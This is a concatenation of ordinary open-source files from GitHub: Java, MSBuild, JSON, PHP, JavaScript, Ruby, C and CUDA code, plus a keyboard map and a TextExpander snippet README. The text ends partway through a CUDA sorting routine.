file.getName().equalsIgnoreCase(obj.getTitle()) &&
(obj.getType().equals("file") || obj.getType().equals("fold") || obj.getType().equals("cat")) &&
obj.isWritable()) {
logger.info("File names are equal!");
conflict.put(file, obj);
}
}
}
return conflict;
}
/**
* Create a unique file name
* @param file
* @return
*/
public String createUniqueName(File file) {
String newName;
for(int i = 2; i < 50; i++) {
newName = FileManagerUtils.increaseVersionName(file.getName(), i);
// Check if file exists
boolean exists = false;
for(SoapClientObject obj : getObjects()) {
if(obj.getTitle().equalsIgnoreCase(newName)) {
exists = true;
}
}
if(!exists) {
logger.info("Using new name " + newName);
return newName;
}
}
return file.getName();
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">iPhoneSimulator</Platform>
<ProductVersion>10.0.0</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{9B7943D5-29E1-4F04-B9F5-0D640BB05D06}</ProjectGuid>
<ProjectTypeGuids>{6BC8ED88-2882-458C-8E55-DFD12B67127B};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}</ProjectTypeGuids>
<OutputType>Exe</OutputType>
<RootNamespace>MBProgressHUDDemo</RootNamespace>
<IPhoneResourcePrefix>Resources</IPhoneResourcePrefix>
<AssemblyName>MBProgressHUDDemo</AssemblyName>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhoneSimulator' ">
<DebugSymbols>True</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>False</Optimize>
<OutputPath>bin\iPhoneSimulator\Debug</OutputPath>
<DefineConstants>DEBUG;</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchDebug>True</MtouchDebug>
<MtouchProfiling>True</MtouchProfiling>
<MtouchLink>None</MtouchLink>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhoneSimulator' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhoneSimulator\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<MtouchLink>None</MtouchLink>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|iPhone' ">
<DebugSymbols>True</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>False</Optimize>
<OutputPath>bin\iPhone\Debug</OutputPath>
<DefineConstants>DEBUG;</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<CodesignKey>iPhone Developer</CodesignKey>
<MtouchDebug>True</MtouchDebug>
<MtouchProfiling>True</MtouchProfiling>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\Release</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<CodesignKey>iPhone Developer</CodesignKey>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Ad-Hoc|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\Ad-Hoc</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<BuildIpa>True</BuildIpa>
<ConsolePause>False</ConsolePause>
<CodesignProvision>Automatic:AdHoc</CodesignProvision>
<CodesignKey>iPhone Distribution</CodesignKey>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'AppStore|iPhone' ">
<DebugType>none</DebugType>
<Optimize>True</Optimize>
<OutputPath>bin\iPhone\AppStore</OutputPath>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<ConsolePause>False</ConsolePause>
<CodesignKey>iPhone Distribution</CodesignKey>
<CodesignProvision>Automatic:AppStore</CodesignProvision>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="monotouch" />
<Reference Include="MonoTouch.Dialog-1" />
<Reference Include="MBProgressHUD">
<HintPath>../../../lib\/ios/MBProgressHUD.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Folder Include="Resources\" />
</ItemGroup>
<ItemGroup>
<None Include="Info.plist" />
</ItemGroup>
<ItemGroup>
<Compile Include="Main.cs" />
<Compile Include="AppDelegate.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
<ItemGroup>
<Content Include="37x-Checkmark.png" />
<Content Include="37x-Checkmark%402x.png" />
<Content Include="Default-568h%402x.png" />
<Content Include="Default.png" />
<Content Include="Default%402x.png" />
<Content Include="Icon.png" />
<Content Include="Icon%402x.png" />
</ItemGroup>
</Project> | {
"pile_set_name": "Github"
} |
{
"state": {
"_": {
"dead": "Beigta",
"initializing": "Inicializ\u0113",
"ready": "Gatavs",
"sleeping": "Gu\u013c"
},
"query_stage": {
"dead": "Beigta ({query_stage})",
"initializing": "Inicializ\u0113 ({query_stage})"
}
}
} | {
"pile_set_name": "Github"
} |
$NetBSD: distinfo,v 1.9 2015/11/03 20:57:00 agc Exp $
SHA1 (orbital_eunuchs_sniper-1.30.tar.gz) = 67f5cec96179faabefe475cbea0c3b45f0b5f7c2
RMD160 (orbital_eunuchs_sniper-1.30.tar.gz) = 6014dbdb5567054763349226c46412ac665761aa
SHA512 (orbital_eunuchs_sniper-1.30.tar.gz) = 81da382bdb6cd25ea3f1a3ecebc2827173cd7c77903cd37b88f328ae2c42f5db5a668597ebb2fca1c5c307d6db2745614aebee6f5e1be48fade184381558f21a
Size (orbital_eunuchs_sniper-1.30.tar.gz) = 4056847 bytes
SHA1 (patch-aa) = a668a76fccf25326df64642c3e294d4d11d2e770
SHA1 (patch-ac) = 51acd5acb96420f8fc2069a793f1adb7d3068464
SHA1 (patch-ad) = 94d479604dad6737ab85b7260f2b0e125de24df9
| {
"pile_set_name": "Github"
} |
0 0 0
0 1 ^[
0 2 '1
0 3 '2
0 4 '3
0 5 '4
0 6 '5
0 7 '6
0 8 '7
0 9 '8
0 10 '9
0 11 '0
0 12 '-
0 13 '=
0 14 ^H
0 15 ^I
0 16 'q
0 17 'w
0 18 'e
0 19 'r
0 20 't
0 21 'y
0 22 'u
0 23 'i
0 24 'o
0 25 'p
0 26 '[
0 27 ']
0 28 ^J
0 29 0xf862
0 30 'a
0 31 's
0 32 'd
0 33 'f
0 34 'g
0 35 'h
0 36 'j
0 37 'k
0 38 'l
0 39 ';
0 40 ''
0 41 '`
0 42 0xf860
0 43 '\
0 44 'z
0 45 'x
0 46 'c
0 47 'v
0 48 'b
0 49 'n
0 50 'm
0 51 ',
0 52 '.
0 53 '/
0 54 0xf860
0 55 '*
0 56 0xf863
0 57 0x20
0 58 0xf862
0 59 0xf001
0 60 0xf002
0 61 0xf003
0 62 0xf004
0 63 0xf005
0 64 0xf006
0 65 0xf007
0 66 0xf008
0 67 0xf009
0 68 0xf00a
0 69 0xf865
0 70 0xf015
0 71 '7
0 72 '8
0 73 '9
0 74 '-
0 75 '4
0 76 '5
0 77 '6
0 78 '+
0 79 '1
0 80 '2
0 81 '3
0 82 '0
0 83 '.
0 84 0
0 85 0
0 86 0
0 87 0xf00b
0 88 0xf00c
0 89 0
0 90 0
0 91 0
0 92 0
0 93 0
0 94 0
0 95 0
0 96 0
0 97 0
0 98 0
0 99 0
0 100 0
0 101 0
0 102 0
0 103 0
0 104 0
0 105 0
0 106 0
0 107 0
0 108 0
0 109 0
0 110 0
0 111 0
0 112 0
0 113 0
0 114 0
0 115 0
0 116 0
0 117 0
0 118 0
0 119 0
0 120 0
0 121 0xf800
0 122 0
0 123 0xf00e
0 124 0
0 125 0
0 126 0
0 127 0
1 0 0
1 1 ^[
1 2 '!
1 3 '@
1 4 '#
1 5 '$
1 6 '%
1 7 '^
1 8 '&
1 9 '*
1 10 '(
1 11 ')
1 12 '_
1 13 '+
1 14 ^H
1 15 ^I
1 16 'Q
1 17 'W
1 18 'E
1 19 'R
1 20 'T
1 21 'Y
1 22 'U
1 23 'I
1 24 'O
1 25 'P
1 26 '{
1 27 '}
1 28 ^J
1 29 0xf862
1 30 'A
1 31 'S
1 32 'D
1 33 'F
1 34 'G
1 35 'H
1 36 'J
1 37 'K
1 38 'L
1 39 ':
1 40 '"
1 41 '~
1 42 0xf860
1 43 '|
1 44 'Z
1 45 'X
1 46 'C
1 47 'V
1 48 'B
1 49 'N
1 50 'M
1 51 '<
1 52 '>
1 53 '?
1 54 0xf860
1 55 '*
1 56 0xf863
1 57 0x20
1 58 0xf862
1 59 0xf001
1 60 0xf002
1 61 0xf003
1 62 0xf004
1 63 0xf005
1 64 0xf006
1 65 0xf007
1 66 0xf008
1 67 0xf009
1 68 0xf00a
1 69 0xf865
1 70 0xf015
1 71 '7
1 72 '8
1 73 '9
1 74 '-
1 75 '4
1 76 '5
1 77 '6
1 78 '+
1 79 '1
1 80 '2
1 81 '3
1 82 '0
1 83 '.
1 84 0
1 85 0
1 86 0
1 87 0xf00b
1 88 0xf00c
1 89 0
1 90 0
1 91 0
1 92 0
1 93 0
1 94 0
1 95 0
1 96 0
1 97 0
1 98 0
1 99 0
1 100 0
1 101 0
1 102 0
1 103 0
1 104 0
1 105 0
1 106 0
1 107 0
1 108 0
1 109 0
1 110 0
1 111 0
1 112 0
1 113 0
1 114 0
1 115 0
1 116 0
1 117 0
1 118 0
1 119 0
1 120 0
1 121 0xf00e
1 122 0
1 123 0xf00e
1 124 0
1 125 0
1 126 0
1 127 0
2 0 0
2 1 0
2 2 0
2 3 0
2 4 0
2 5 0
2 6 0
2 7 0
2 8 0
2 9 0
2 10 0
2 11 0
2 12 0
2 13 0
2 14 0
2 15 0
2 16 0
2 17 0
2 18 0
2 19 0
2 20 0
2 21 0
2 22 0
2 23 0
2 24 0
2 25 0
2 26 0
2 27 0
2 28 ^J
2 29 0xf862
2 30 0
2 31 0
2 32 0
2 33 0
2 34 0
2 35 0
2 36 0
2 37 0
2 38 0
2 39 0
2 40 0
2 41 0
2 42 0xf860
2 43 0
2 44 0
2 45 0
2 46 0
2 47 0
2 48 0
2 49 0
2 50 0
2 51 0
2 52 0
2 53 '/
2 54 0
2 55 0xf010
2 56 0xf867
2 57 0
2 58 0
2 59 0
2 60 0
2 61 0
2 62 0
2 63 0
2 64 0
2 65 0
2 66 0
2 67 0
2 68 0
2 69 0
2 70 0xf861
2 71 0xf00d
2 72 0xf00e
2 73 0xf00f
2 74 0
2 75 0xf011
2 76 0
2 77 0xf012
2 78 0
2 79 0xf018
2 80 0xf800
2 81 0xf013
2 82 0xf014
2 83 0x7f
2 84 0
2 85 0
2 86 0
2 87 0
2 88 0
2 89 0
2 90 0
2 91 0
2 92 0
2 93 0
2 94 0
2 95 0
2 96 0
2 97 0
2 98 0
2 99 0
2 100 0
2 101 0
2 102 0
2 103 0
2 104 0
2 105 0
2 106 0
2 107 0
2 108 0
2 109 0
2 110 0
2 111 0
2 112 0
2 113 0
2 114 0
2 115 0
2 116 0
2 117 0
2 118 0
2 119 0
2 120 0
2 121 0xf00e
2 122 0
2 123 0
2 124 0
2 125 0
2 126 0
2 127 0
3 0 0
3 1 0
3 2 0
3 3 0
3 4 0
3 5 0
3 6 0
3 7 0
3 8 0
3 9 0
3 10 0
3 11 0
3 12 0
3 13 0
3 14 0
3 15 0
3 16 0
3 17 0
3 18 0
3 19 0
3 20 0
3 21 0
3 22 0
3 23 0
3 24 0
3 25 0
3 26 0
3 27 0
3 28 ^J
3 29 0xf862
3 30 0
3 31 0
3 32 0
3 33 0
3 34 0
3 35 0
3 36 0
3 37 0
3 38 0
3 39 0
3 40 0
3 41 0
3 42 0xf860
3 43 0
3 44 0
3 45 0
3 46 0
3 47 0
3 48 0
3 49 0
3 50 0
3 51 0
3 52 0
3 53 '/
3 54 0
3 55 0xf010
3 56 0xf867
3 57 0
3 58 0
3 59 0
3 60 0
3 61 0
3 62 0
3 63 0
3 64 0
3 65 0
3 66 0
3 67 0
3 68 0
3 69 0
3 70 0xf861
3 71 0xf00d
3 72 0xf00e
3 73 0xf00f
3 74 0
3 75 0xf011
3 76 0
3 77 0xf012
3 78 0
3 79 0xf018
3 80 0xf800
3 81 0xf013
3 82 0xf014
3 83 0x7f
3 84 0
3 85 0
3 86 0
3 87 0
3 88 0
3 89 0
3 90 0
3 91 0
3 92 0
3 93 0
3 94 0
3 95 0
3 96 0
3 97 0
3 98 0
3 99 0
3 100 0
3 101 0
3 102 0
3 103 0
3 104 0
3 105 0
3 106 0
3 107 0
3 108 0
3 109 0
3 110 0
3 111 0
3 112 0
3 113 0
3 114 0
3 115 0
3 116 0
3 117 0
3 118 0
3 119 0
3 120 0
3 121 0xf00e
3 122 0
3 123 0
3 124 0
3 125 0
3 126 0
3 127 0
4 0 0
4 1 ^[
4 2 ^Q
4 3 ^R
4 4 ^S
4 5 ^T
4 6 ^U
4 7 ^V
4 8 ^W
4 9 ^X
4 10 ^Y
4 11 ^P
4 12 ^M
4 13 ^]
4 14 ^H
4 15 ^I
4 16 ^Q
4 17 ^W
4 18 ^E
4 19 ^R
4 20 ^T
4 21 ^Y
4 22 ^U
4 23 ^I
4 24 ^O
4 25 ^P
4 26 ^[
4 27 ^]
4 28 ^J
4 29 0xf862
4 30 ^A
4 31 ^S
4 32 ^D
4 33 ^F
4 34 ^G
4 35 ^H
4 36 ^J
4 37 ^K
4 38 ^L
4 39 ^[
4 40 ^G
4 41 0
4 42 0xf860
4 43 ^\
4 44 ^Z
4 45 ^X
4 46 ^C
4 47 ^V
4 48 ^B
4 49 ^N
4 50 ^M
4 51 ^L
4 52 ^N
4 53 ^O
4 54 0xf860
4 55 ^J
4 56 0xf863
4 57 0
4 58 0xf862
4 59 ^E
4 60 ^F
4 61 ^G
4 62 ^D
4 63 ^E
4 64 ^F
4 65 ^G
4 66 ^L
4 67 ^M
4 68 ^N
4 69 ^E
4 70 ^F
4 71 ^W
4 72 ^X
4 73 ^Y
4 74 ^M
4 75 ^T
4 76 ^U
4 77 ^V
4 78 ^K
4 79 ^Q
4 80 ^R
4 81 ^S
4 82 ^P
4 83 ^N
4 84 0
4 85 0
4 86 0
4 87 ^O
4 88 ^L
4 89 0
4 90 0
4 91 0
4 92 0
4 93 0
4 94 0
4 95 0
4 96 0
4 97 0
4 98 0
4 99 0
4 100 0
4 101 0
4 102 0
4 103 0
4 104 0
4 105 0
4 106 0
4 107 0
4 108 0
4 109 0
4 110 0
4 111 0
4 112 0
4 113 0
4 114 0
4 115 0
4 116 0
4 117 0
4 118 0
4 119 0
4 120 0
4 121 ^G
4 122 0
4 123 ^H
4 124 0
4 125 0
4 126 0
4 127 0
| {
"pile_set_name": "Github"
} |
<?php
/**
* PHPExcel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category PHPExcel
* @package PHPExcel_RichText
* @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
* @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL
* @version ##VERSION##, ##DATE##
*/
/**
* PHPExcel_RichText_TextElement
*
* @category PHPExcel
* @package PHPExcel_RichText
* @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)
*/
class PHPExcel_RichText_TextElement implements PHPExcel_RichText_ITextElement
{
/**
* Text
*
* @var string
*/
private $_text;
/**
* Create a new PHPExcel_RichText_TextElement instance
*
* @param string $pText Text
*/
public function __construct($pText = '')
{
// Initialise variables
$this->_text = $pText;
}
/**
* Get text
*
* @return string Text
*/
public function getText() {
return $this->_text;
}
/**
* Set text
*
* @param $pText string Text
* @return PHPExcel_RichText_ITextElement
*/
public function setText($pText = '') {
$this->_text = $pText;
return $this;
}
/**
* Get font
*
* @return PHPExcel_Style_Font
*/
public function getFont() {
return null;
}
/**
* Get hash code
*
* @return string Hash code
*/
public function getHashCode() {
return md5(
$this->_text
. __CLASS__
);
}
/**
* Implement PHP __clone to create a deep clone, not just a shallow copy.
*/
public function __clone() {
$vars = get_object_vars($this);
foreach ($vars as $key => $value) {
if (is_object($value)) {
$this->$key = clone $value;
} else {
$this->$key = $value;
}
}
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<message>
<name>ADTA11</name>
<description>Cancel Admit</description>
<segments>
<segment>MSH</segment>
<segment>EVN</segment>
<segment>PID</segment>
<segment minOccurs="0">PD1</segment>
<segment>PV1</segment>
<segment minOccurs="0">PV2</segment>
<segment minOccurs="0" maxOccurs="unbounded">DB1</segment>
<segment minOccurs="0" maxOccurs="unbounded">OBX</segment>
<segment minOccurs="0" maxOccurs="unbounded">DG1</segment>
</segments>
</message>
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2020 Uber Technologies, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
import React from 'react';
import {connect} from 'react-redux';
import {bindActionCreators} from 'redux';
import {console as Console} from 'global/window';
import KeplerGlContext from 'components/context';
const MissingComp = () => <div />;
export const ERROR_MSG = {
wrongRecipeType:
`injectComponents takes an array of factories replacement pairs as input, ` +
`each pair be a array as [originalFactory, replacement].`,
noDep: (fac, parent) =>
`${fac.name} is required as a dependency of ${parent.name}, ` +
`but is not provided to injectComponents. It will not be rendered.`,
notFunc: 'factory and its replacement should be a function'
};
export function injector(map = new Map()) {
const cache = new Map(); // map<factory, factory -> ?>
const get = (fac, parent) => {
const factory = map.get(fac);
// factory is not injected
if (!factory) {
Console.error(ERROR_MSG.noDep(fac, parent));
return MissingComp;
}
// check if custom factory deps is declared
const instances =
cache.get(factory) ||
factory(...(factory.deps ? factory.deps.map(dep => get(dep, factory)) : []));
cache.set(fac, instances);
return instances;
};
// if you have two functions that happen to have the exactly same text
// it will be override: 2018-02-05
return {
provide: (factory, replacement) => {
if (!typeCheckRecipe([factory, replacement])) {
return injector(map);
}
return injector(new Map(map).set(factory, replacement));
},
get
};
}
export function typeCheckRecipe(recipe) {
if (!Array.isArray(recipe) || recipe.length < 2) {
Console.error('Error injecting [factory, replacement]', recipe);
Console.error(ERROR_MSG.wrongRecipeType);
return false;
}
const [factory, replacement] = recipe;
if (typeof factory !== 'function') {
Console.error('Error injecting factory: ', factory);
Console.error(ERROR_MSG.notFunc);
return false;
} else if (typeof replacement !== 'function') {
Console.error('Error injecting replacement for: ', factory);
Console.error(ERROR_MSG.notFunc);
return false;
}
return true;
}
const identity = state => state;
// Helper to add reducer state to custom component
export function withState(lenses = [], mapStateToProps = identity, actions = {}) {
return Component => {
const WrappedComponent = ({state, ...props}) => (
<KeplerGlContext.Consumer>
{context => (
<Component
{...lenses.reduce(
(totalState, lens) => ({
...totalState,
...lens(context.selector(state))
}),
props
)}
/>
)}
</KeplerGlContext.Consumer>
);
return connect(
state => ({...mapStateToProps(state), state}),
dispatch =>
Object.keys(actions).reduce(
(accu, key) => ({
...accu,
[key]: bindActionCreators(actions[key], dispatch)
}),
{}
)
)(WrappedComponent);
};
}
| {
"pile_set_name": "Github"
} |
require "rails_helper"
RSpec.configure do |config|
config.use_transactional_fixtures = false
config.before(:suite) do
DatabaseRewinder.strategy = :truncation
DatabaseRewinder.clean_with(:truncation)
end
config.before(:each) do
DatabaseRewinder.start
end
config.after(:each) do
DatabaseRewinder.clean
end
end
| {
"pile_set_name": "Github"
} |
/***************************************************************************/
/* */
/* ftcid.c */
/* */
/* FreeType API for accessing CID font information. */
/* */
/* Copyright 2007-2018 by */
/* Derek Clegg and Michael Toftdal. */
/* */
/* This file is part of the FreeType project, and may only be used, */
/* modified, and distributed under the terms of the FreeType project */
/* license, LICENSE.TXT. By continuing to use, modify, or distribute */
/* this file you indicate that you have read the license and */
/* understand and accept it fully. */
/* */
/***************************************************************************/
#include <ft2build.h>
#include FT_CID_H
#include FT_INTERNAL_OBJECTS_H
#include FT_SERVICE_CID_H
/* documentation is in ftcid.h */
FT_EXPORT_DEF( FT_Error )
FT_Get_CID_Registry_Ordering_Supplement( FT_Face face,
const char* *registry,
const char* *ordering,
FT_Int *supplement)
{
FT_Error error;
const char* r = NULL;
const char* o = NULL;
FT_Int s = 0;
error = FT_ERR( Invalid_Argument );
if ( face )
{
FT_Service_CID service;
FT_FACE_FIND_SERVICE( face, service, CID );
if ( service && service->get_ros )
error = service->get_ros( face, &r, &o, &s );
}
if ( registry )
*registry = r;
if ( ordering )
*ordering = o;
if ( supplement )
*supplement = s;
return error;
}
FT_EXPORT_DEF( FT_Error )
FT_Get_CID_Is_Internally_CID_Keyed( FT_Face face,
FT_Bool *is_cid )
{
FT_Error error = FT_ERR( Invalid_Argument );
FT_Bool ic = 0;
if ( face )
{
FT_Service_CID service;
FT_FACE_FIND_SERVICE( face, service, CID );
if ( service && service->get_is_cid )
error = service->get_is_cid( face, &ic);
}
if ( is_cid )
*is_cid = ic;
return error;
}
FT_EXPORT_DEF( FT_Error )
FT_Get_CID_From_Glyph_Index( FT_Face face,
FT_UInt glyph_index,
FT_UInt *cid )
{
FT_Error error = FT_ERR( Invalid_Argument );
FT_UInt c = 0;
if ( face )
{
FT_Service_CID service;
FT_FACE_FIND_SERVICE( face, service, CID );
if ( service && service->get_cid_from_glyph_index )
error = service->get_cid_from_glyph_index( face, glyph_index, &c);
}
if ( cid )
*cid = c;
return error;
}
/* END */
| {
"pile_set_name": "Github"
} |
## Brett's TextExpander Snippets ##
Just collecting a few of my favorite TextExpander snippets here, feel free to use. I have these set to expand after a Tab, but they should work with just about any expansion settings. Related commands all have similar beginnings to make using the "Suggest Completions" feature easier.
This repo now includes the base system I'm using to generate downloads with custom snippets. The files to be customized are named with the extension ".tedist" and the prefixes in the "abbreviation" string of the plist are replaced with "[[PREFIX]]". The rest is handled by the php files.
`getsnippets.php` is called through ajax and serves as an example for reading the snippets and shortcuts from the plist. Returns json output for the file specified in the query string with "file=groupname" (no extension).
### Snippets ###
#### Tools.textexpander ####
* **Hyphenate clipboard**
Hyphenates the contents of the clipboard, ignoring spaces after punctuation or leading/trailing spaces. Should probably just be a Service, but this is actually faster, most of the time.
* **Encode email address**
Takes an email address in the clipboard and prints an ASCII-encoded (non-human-readable) version with mailto: prefix.
* **Clipboard HTML link**
Makes an html hyperlink (code, not rich text) from a url in the clipboard. Uses the Fill feature to request the link text.
* **Markdown Link**
Makes a Markdown format link from a url in the clipboard. Uses the Fill feature to request the link text.
* **Rounded Corners**
Uses the Fill feature to request a pixel radius, and creates cross-browser CSS for rounded corners. There are 5 variations, one for each corner and one for all corners.
* **CSS Reset**
Your typical CSS reset code, in Meyers and YUI flavors.
* **Shorten clipboard url**
Shorten a URL in the clipboard, using bit.ly, go., is.gd or tinyurl. Slightly faster than the AppleScript versions available from TE, and they handle a wider range of possible inputs.
* **Make URL**
Take whatever text is in the clipboard and provide a best-guess URL for it. Handy if you have a qualified domain and just need the protocol added, or if you have an email address and want it to be a mailto: link.
* **Hashbang**
Instant hashbangs for ruby, osascript and bash.
* **Paste Markdown references**
Takes a list of urls in the clipboard, in just about any format, and converts them into a list of Markdown references. Titles are generated by domains, incremented for repeats and sorted alphanumerically. Duplicate URL's are stripped from output.
#### Lipsums.textexpander ####
* **Placeholder Nav**
Basic unordered list with dummy links.
* **Standard Lipsum**
Three lipsumX commands for 1, 2 or 3 paragraphs of standard Lorem Ipsum.
* **HTML Lipsum**
Ordered list, unordered list, and the full medley of HTML Lipsum for styling.
#### Random Lipsums.textexpander ####
* A series of snippets which use shell scripts to generate random text from various sources.
#### iOS Markdown.textexpander ####
* Snippets for fast Markdown entry using TextExpander touch | {
"pile_set_name": "Github"
} |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
project_id = attribute('project_id')
network_name = attribute('network_name')
control "inspec_attributes" do
title "Terraform Outputs"
desc "Terraform Outputs"
describe attribute("output_network_name") do
it { should eq "#{network_name}" }
end
describe attribute("output_network_self_link") do
it { should eq "https://www.googleapis.com/compute/v1/projects/#{project_id}/global/networks/#{network_name}" }
end
describe attribute("output_subnets_ips") do
it { should eq ["10.10.10.0/24", "10.10.20.0/24"] }
end
describe attribute("output_routes") do
it { should eq [] }
end
describe attribute("output_subnets_flow_logs") do
it { should eq [false, true] }
end
describe attribute("output_subnets_names") do
it { should eq ["#{network_name}-subnet-01", "#{network_name}-subnet-02"] }
end
describe attribute("output_subnets_private_access") do
it { should eq [false, true] }
end
describe attribute("output_subnets_regions") do
it { should eq ["us-west1", "us-west1"] }
end
describe attribute("output_subnets_secondary_ranges") do
it { should eq [[],[]] }
end
describe attribute("output_project_id") do
it { should eq project_id }
end
end
| {
"pile_set_name": "Github"
} |
/******************************************************************************
* Copyright (c) 2013, NVIDIA CORPORATION. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the NVIDIA CORPORATION nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL NVIDIA CORPORATION BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************/
/******************************************************************************
*
* Code and text by Sean Baxter, NVIDIA Research
* See http://nvlabs.github.io/moderngpu for repository and documentation.
*
******************************************************************************/
#pragma once
#include "deviceutil.cuh"
namespace mgpu {
////////////////////////////////////////////////////////////////////////////////
// Odd-even transposition sorting network. Sorts keys and values in-place in
// register.
// http://en.wikipedia.org/wiki/Odd%E2%80%93even_sort
// CUDA Compiler does not currently unroll these loops correctly. Write using
// template loop unrolling.
/*
template<int VT, typename T, typename V, typename Comp>
MGPU_DEVICE void OddEvenTransposeSort(T* keys, V* values, Comp comp) {
#pragma unroll
for(int level = 0; level < VT; ++level) {
#pragma unroll
for(int i = 1 & level; i < VT - 1; i += 2) {
if(comp(keys[i + 1], keys[i])) {
mgpu::swap(keys[i], keys[i + 1]);
mgpu::swap(values[i], values[i + 1]);
}
}
}
}*/
template<int I, int VT>
struct OddEvenTransposeSortT {
// Sort segments marked by head flags. If the head flag between i and i + 1
// is set (so that (2<< i) & flags is true), the values belong to different
// segments and are not swapped.
template<typename K, typename V, typename Comp>
static MGPU_DEVICE void Sort(K* keys, V* values, int flags, Comp comp) {
#pragma unroll
for(int i = 1 & I; i < VT - 1; i += 2)
if((0 == ((2<< i) & flags)) && comp(keys[i + 1], keys[i])) {
mgpu::swap(keys[i], keys[i + 1]);
